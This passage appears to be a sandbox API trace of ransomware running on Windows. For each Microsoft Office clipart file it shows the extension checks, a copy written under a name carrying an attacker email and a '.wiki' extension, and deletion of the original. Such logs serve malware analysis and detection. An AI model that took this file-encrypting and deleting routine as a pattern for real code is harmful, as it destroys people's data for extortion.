Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0061.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.221] lstrlenW (lpString=".doc") returned 4 [0061.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.221] lstrlenW (lpString=".docx") returned 5 [0061.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.221] lstrlenW (lpString=".pdf") returned 4 [0061.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.221] lstrlenW (lpString=".xls") returned 4 [0061.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.221] lstrlenW (lpString=".xlsx") returned 5 [0061.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.221] lstrlenW (lpString=".ppt") returned 4 [0061.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.221] lstrlenW (lpString=".zip") returned 4 [0061.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.221] lstrlenW (lpString=".rar") returned 4 [0061.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString=".bz2") returned 4 [0061.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString=".7z") returned 3 [0061.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString=".dbf") returned 4 [0061.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString=".1cd") returned 4 [0061.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString=".jpg") returned 4 [0061.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString=".doc") returned 4 [0061.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString=".docx") returned 5 [0061.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.222] lstrlenW (lpString=".pdf") returned 4 [0061.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString=".xls") returned 4 [0061.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.222] lstrlenW (lpString=".xlsx") returned 5 [0061.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.222] lstrlenW (lpString=".ppt") returned 4 [0061.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.222] lstrlenW (lpString=".zip") returned 4 [0061.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.222] lstrlenW (lpString=".rar") returned 4 [0061.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.222] lstrlenW (lpString=".bz2") returned 4 [0061.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.223] lstrlenW (lpString=".7z") returned 3 [0061.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.223] lstrlenW (lpString=".dbf") returned 4 [0061.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.223] lstrlenW (lpString=".1cd") returned 4 [0061.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0061.223] lstrlenW (lpString=".jpg") returned 4 [0061.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.223] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.223] lstrlenW (lpString="AN02122_.WMF") returned 12 [0061.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.224] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=7540) returned 1 [0061.224] CloseHandle (hObject=0x200) returned 1 [0061.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0061.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.224] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.224] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.225] GetLastError () returned 0x0 [0061.225] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0061.226] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0061.227] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.227] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.227] SetEndOfFile (hFile=0x1a4) returned 1 [0061.227] CloseHandle (hObject=0x1a4) returned 1 [0061.227] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.228] SetEndOfFile (hFile=0x200) returned 1 [0061.228] CloseHandle (hObject=0x200) returned 1 [0061.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.229] lstrlenW (lpString=".doc") returned 4 [0061.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString=".docx") returned 5 [0061.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.229] lstrlenW (lpString=".pdf") returned 4 [0061.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString=".xls") returned 4 [0061.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.229] lstrlenW (lpString=".xlsx") returned 5 [0061.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.229] lstrlenW (lpString=".ppt") returned 4 [0061.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.229] lstrlenW (lpString=".zip") returned 4 [0061.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.229] lstrlenW (lpString=".rar") returned 4 [0061.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString=".bz2") returned 4 [0061.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString=".7z") returned 3 [0061.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.229] lstrlenW (lpString=".dbf") returned 4 [0061.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.229] lstrlenW (lpString=".1cd") returned 4 [0061.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".jpg") returned 4 [0061.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".doc") returned 4 [0061.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString=".docx") returned 5 [0061.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.230] lstrlenW (lpString=".pdf") returned 4 [0061.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString=".xls") returned 4 [0061.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.230] lstrlenW (lpString=".xlsx") returned 5 [0061.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.230] lstrlenW (lpString=".ppt") returned 4 [0061.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".zip") returned 4 [0061.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.230] lstrlenW (lpString=".rar") returned 4 [0061.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString=".bz2") returned 4 [0061.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString=".7z") returned 3 [0061.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".dbf") returned 4 [0061.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".1cd") returned 4 [0061.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0061.230] lstrlenW (lpString=".jpg") returned 4 [0061.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.231] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.231] lstrlenW (lpString="AN02559_.WMF") returned 12 [0061.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.234] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6632) returned 1 [0061.234] CloseHandle (hObject=0x200) returned 1 [0061.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0061.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.235] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.235] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.235] GetLastError () returned 0x0 [0061.235] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x19e8, lpOverlapped=0x0) returned 1 [0061.237] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0061.238] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.238] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.238] SetEndOfFile (hFile=0x1a4) returned 1 [0061.238] CloseHandle (hObject=0x1a4) returned 1 [0061.238] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.238] SetEndOfFile (hFile=0x200) returned 1 [0061.239] CloseHandle (hObject=0x200) returned 1 [0061.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0061.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.239] lstrlenW (lpString=".doc") returned 4 [0061.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.239] lstrlenW (lpString=".docx") returned 5 [0061.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.239] lstrlenW (lpString=".pdf") returned 4 [0061.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.239] lstrlenW (lpString=".xls") returned 4 [0061.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.239] lstrlenW (lpString=".xlsx") returned 5 [0061.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.240] lstrlenW (lpString=".ppt") returned 4 [0061.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString=".zip") returned 4 [0061.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.240] lstrlenW (lpString=".rar") returned 4 [0061.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString=".bz2") returned 4 [0061.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString=".7z") returned 3 [0061.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString=".dbf") returned 4 [0061.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString=".1cd") returned 4 [0061.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString=".jpg") returned 4 [0061.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.240] lstrlenW (lpString=".doc") returned 4 [0061.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString=".docx") returned 5 [0061.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.240] lstrlenW (lpString=".pdf") returned 4 [0061.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.240] lstrlenW (lpString=".xls") returned 4 [0061.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.240] lstrlenW (lpString=".xlsx") returned 5 [0061.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.240] lstrlenW (lpString=".ppt") returned 4 [0061.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.241] lstrlenW (lpString=".zip") returned 4 [0061.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.241] lstrlenW (lpString=".rar") returned 4 [0061.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.241] lstrlenW (lpString=".bz2") returned 4 [0061.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.241] lstrlenW (lpString=".7z") returned 3 [0061.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.241] lstrlenW (lpString=".dbf") returned 4 [0061.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.241] lstrlenW (lpString=".1cd") returned 4 [0061.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0061.241] lstrlenW (lpString=".jpg") returned 4 [0061.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.241] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.241] lstrlenW (lpString="AN02724_.WMF") returned 12 [0061.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.242] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2108) returned 1 [0061.242] CloseHandle (hObject=0x200) returned 1 [0061.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0061.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0061.242] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.242] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.243] GetLastError () returned 0x0 [0061.243] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x83c, lpOverlapped=0x0) returned 1 [0061.422] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x840, lpOverlapped=0x0) returned 1 [0061.423] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.424] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.424] SetEndOfFile (hFile=0x1a4) returned 1 [0061.424] CloseHandle (hObject=0x1a4) returned 1 [0061.424] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.424] SetEndOfFile (hFile=0x200) returned 1 [0061.425] CloseHandle (hObject=0x200) returned 1 [0061.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0061.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0061.426] lstrlenW (lpString=".doc") returned 4 [0061.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.426] 